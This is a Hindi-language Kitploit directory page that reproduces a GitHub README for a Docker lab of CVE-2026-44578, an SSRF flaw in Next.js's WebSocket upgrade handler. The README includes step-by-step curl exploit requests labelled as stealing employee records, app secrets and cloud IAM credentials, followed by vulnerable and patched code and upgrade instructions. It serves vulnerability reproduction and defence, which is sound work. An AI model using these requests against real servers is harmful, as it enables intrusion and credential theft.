Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/lxxexxbxx/cve-2026-44578
भेद्यता विश्लेषणशोषणप्रतिकूल हमला
GitHublxxexxbxx/cve-2026-44578

CVE-2026-44578

CVE-2026-44578 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो भेद्य स्थिति को दोहराता है, जिससे सुरक्षा शोधकर्ता प्रभावित सिस्टम की पुष्टि कर सकते हैं और शमन उपायों का मूल्यांकन कर सकते हैं।

रिपॉजिटरी देखें
1332 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-44578 — Next.js WebSocket अपग्रेड हैंडलर SSRF लैब

सिक्योरिटी एकेडमी CERT प्रोजेक्ट मेंटर डेमो के लिए कमज़ोरी पुनरुत्पादन अभ्यास वातावरण


अवलोकन

आइटमविवरण
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS8.6 (उच्च)
CWECWE-918 (सर्वर-साइड रिक्वेस्ट फ़ॉर्जरी)
प्रभावित संस्करणNext.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4
पैच संस्करण15.5.16+, 16.2.5+
प्रमाणीकरण आवश्यकनहीं (अप्रमाणित)

Next.js के WebSocket अपग्रेड हैंडलर (upgradeHandler) में एक कमज़ोरी है, जो HTTP अनुरोध पंक्ति में डाले गए
absolute-form URI (RFC 7230 §5.3.2) को बिना सत्यापन के आंतरिक सेवा तक प्रॉक्सी कर देता है।
बाहर से अप्राप्य आंतरिक सेवाओं को मनमाना HTTP अनुरोध भेजा जा सकता है (SSRF)।


लैब आर्किटेक्चर

[공격자]
    │
    │  WebSocket Upgrade 요청
    │  GET http://internal-svc/api/v1/employees HTTP/1.1
    │  Connection: Upgrade  /  Upgrade: websocket
    ▼
[nextjs-vuln :3000]  ← 외부 노출
    │
    │  무검증 프록시 (proxyRequest)
    ▼
[internal-svc :80]   ← 내부망 전용, 외부 직접 접근 불가
    │
    ├── GET /api/v1/employees   → 사원 DB (이름·이메일·연봉·pw_hash)
    ├── GET /api/v1/config      → DB 패스워드·JWT 시크릿·Redis 패스워드
    └── GET /latest/meta-data/… → AWS IMDS 시뮬레이션 (IAM 크리덴셜)

docker-compose ├── nextjs-vuln (Next.js 15.5.0, असुरक्षित संस्करण) └── internal-svc (FastAPI + SQLite, केवल आंतरिक नेटवर्क)


पर्यावरण सेटअप और निष्पादन

पूर्व आवश्यकताएँ

  • Docker 24+
  • Docker Compose v2

निष्पादन

git clone https://github.com/<your-org>/CVE-2026-44578.git
cd CVE-2026-44578
docker compose up --build

बिल्ड पूरा होने के बाद Next.js तैयार होने में 30~60 सेकंड लगते हैं।
तैयारी की जाँच:

curl -s http://localhost:3000/api/hello | grep ok

भेद्यता पुनरुत्पादन (PoC)

आक्रमण प्रवाह

सामान्य HTTP अनुरोध GET /path HTTP/1.1 के रूप में केवल पथ शामिल करता है,
लेकिन RFC 7230 §5.3.2 अनुरोध पंक्ति में पूर्ण URL डालने वाले absolute-form की अनुमति देता है।

GET http://internal-svc/api/v1/employees HTTP/1.1 ← absolute-form URI Host: localhost:3000 Connection: Upgrade Upgrade: websocket

Next.js upgradeHandler इस URL को पार्स करता है और यदि parsedUrl.protocol मौजूद है तो
गंतव्य सत्यापन के बिना proxyRequest() को कॉल करता है।
curl --request-target विकल्प से अनुरोध पंक्ति को सीधे निर्दिष्ट किया जा सकता है।

STEP 1 — आंतरिक सेवा तक सीधी पहुँच असंभव होने की पुष्टि

curl -s --connect-timeout 3 http://internal-svc/health
# → 연결 실패 (외부에서 내부망 직접 도달 불가)

चरण 2 — SSRF से आंतरिक सेवा हेल्थचेक

curl -s --http1.1 \
  --request-target "http://internal-svc/health" \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
  http://localhost:3000

चरण 3 — कर्मचारी DB चोरी

curl -s --http1.1 \
  --request-target "http://internal-svc/api/v1/employees" \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
  http://localhost:3000

→ नाम, ईमेल, वेतन, bcrypt हैश पूर्ण रूप से लौटाएँ

STEP 4 — ऐप कॉन्फ़िगरेशन चोरी (DB पासवर्ड·JWT सीक्रेट)

curl -s --http1.1 \
  --request-target "http://internal-svc/api/v1/config" \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
  http://localhost:3000

चरण 5 — AWS IMDS क्रेडेंशियल्स चोरी (चरण 2)

# 5-1: IAM 롤 이름 열거
curl -s --http1.1 \
  --request-target "http://internal-svc/latest/meta-data/iam/security-credentials/" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
  http://localhost:3000

# 5-2: 크리덴셜 탈취
curl -s --http1.1 \
  --request-target "http://internal-svc/latest/meta-data/iam/security-credentials/ec2-hr-api-role" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
  http://localhost:3000

आंतरिक कार्यप्रणाली

संवेदनशील कोड (router-server.js upgradeHandler)

// Next.js 15.5.0 ~ 15.5.15 — 취약
const { matchedOutput, parsedUrl } = await resolveRoutes({
    req, res: socket, isUpgradeReq: true,
    signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (parsedUrl.protocol) {                              // ← 목적지 검증 없음
    return await proxyRequest(req, socket, parsedUrl, head);
}

parsedUrl.protocol मौजूद होने पर सीधे प्रॉक्सी। लक्ष्य होस्ट आंतरिक IP हो या
IMDS (169.254.169.254), बिना शर्त अग्रेषित किया जाता है।

आधिकारिक पैच (15.5.16+)

// Next.js 15.5.16+ — 패치
const { finished, matchedOutput, parsedUrl, statusCode } = await resolveRoutes({
    req, res: socket, isUpgradeReq: true,
    signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (finished && parsedUrl.protocol) {                  // ← finished 가드 추가
    if (!statusCode) {
        return await proxyRequest(req, socket, parsedUrl, head);
    }
    return socket.end();
}

finished केवल तब true होता है जब resolveRoutes के अंदर अनुरोध किसी सामान्य रूट से मेल खाता है।
absolute-form URI सामान्य रूट से मेल नहीं खाता, इसलिए finished === false → प्रॉक्सी अवरोधन।

लैब पैच संरचना (patch-for-lab.js)

कमज़ोरी पुनरुत्पादन वातावरण में resolve-routes.js :// को लगातार स्लैश के रूप में गलत पहचानकर
http://host/path को http:/host/path में संकुचित कर देता है, जिससे SSRF आकस्मिक रूप से अवरुद्ध हो जाता है।
patch-for-lab.js इस व्यवहार को निष्क्रिय करता है ताकि कमज़ोरी सामान्य रूप से पुनरुत्पादित हो सके।


पैच विधि

विधि 1 — npm अपग्रेड (अनुशंसित)

# 15.x 계열
npm install next@">=15.5.16"

# 16.x 계열
npm install next@">=16.2.5"

# 버전 확인
npx next --version

विधि 2 — Dockerfile संस्करण पिनिंग

RUN npm install [email protected] --legacy-peer-deps
# 또는 package.json에서 "next": "15.5.16" 고정 후
RUN npm ci

तरीका 3 — संस्करण अपग्रेड के बिना सीधे कोड पैच करना

इस लैब में शामिल patch-defense.js के साथ वर्तमान संस्करण पर आधिकारिक पैच लॉजिक सीधे लागू करें:

# 랩 컨테이너 내부에서
node patch-defense.js

# 상태 확인만 (파일 수정 없음)
node patch-defense.js --check

पैच लागू करने के बाद SSRF अनुरोध बिना प्रतिक्रिया के ब्लॉक हो जाता है।


फ़ाइल संरचना

CVE-2026-44578/ ├── docker-compose.yml ├── nextjs-app/ │ ├── Dockerfile │ ├── patch-for-lab.js # resolve-routes पैच (SSRF पुनरुत्पादन हेतु) │ ├── patch-defense.js # router-server रक्षा पैच (कोड संशोधन रक्षा प्रमाण हेतु) │ └── ... ├── internal-svc/ │ ├── Dockerfile │ ├── server.py # FastAPI आंतरिक सेवा (SQLite + IMDS सिमुलेशन) │ └── requirements.txt └── exploit/ └── demo.sh # 6-चरणीय स्वचालित डेमो स्क्रिप्ट


अस्वीकरण

यह रिपॉज़िटरी केवल सुरक्षा शिक्षा और भेद्यता अनुसंधान के उद्देश्य से प्रदान की गई है।
वास्तविक सेवाओं पर अनधिकृत हमला करने के लिए इसका उपयोग करना अवैध है,
और सभी परीक्षण केवल अपने स्वयं के स्वामित्व वाले या स्पष्ट अनुमति प्राप्त वातावरण में ही किए जाने चाहिए।

यह रिपॉज़िटरी केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए है।
उत्पादन प्रणालियों के विरुद्ध अनधिकृत उपयोग अवैध है।
सभी परीक्षण केवल उन वातावरणों में किए जाने चाहिए जिनके आप स्वामी हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति है।


संदर्भ

  • Next.js सुरक्षा सलाह (GHSA-c4j6-fc7j-m34r)
  • RFC 7230 §5.3.2 — absolute-form
  • CWE-918: सर्वर-साइड रिक्वेस्ट फ़ॉर्जरी
टूल डाउनलोड करें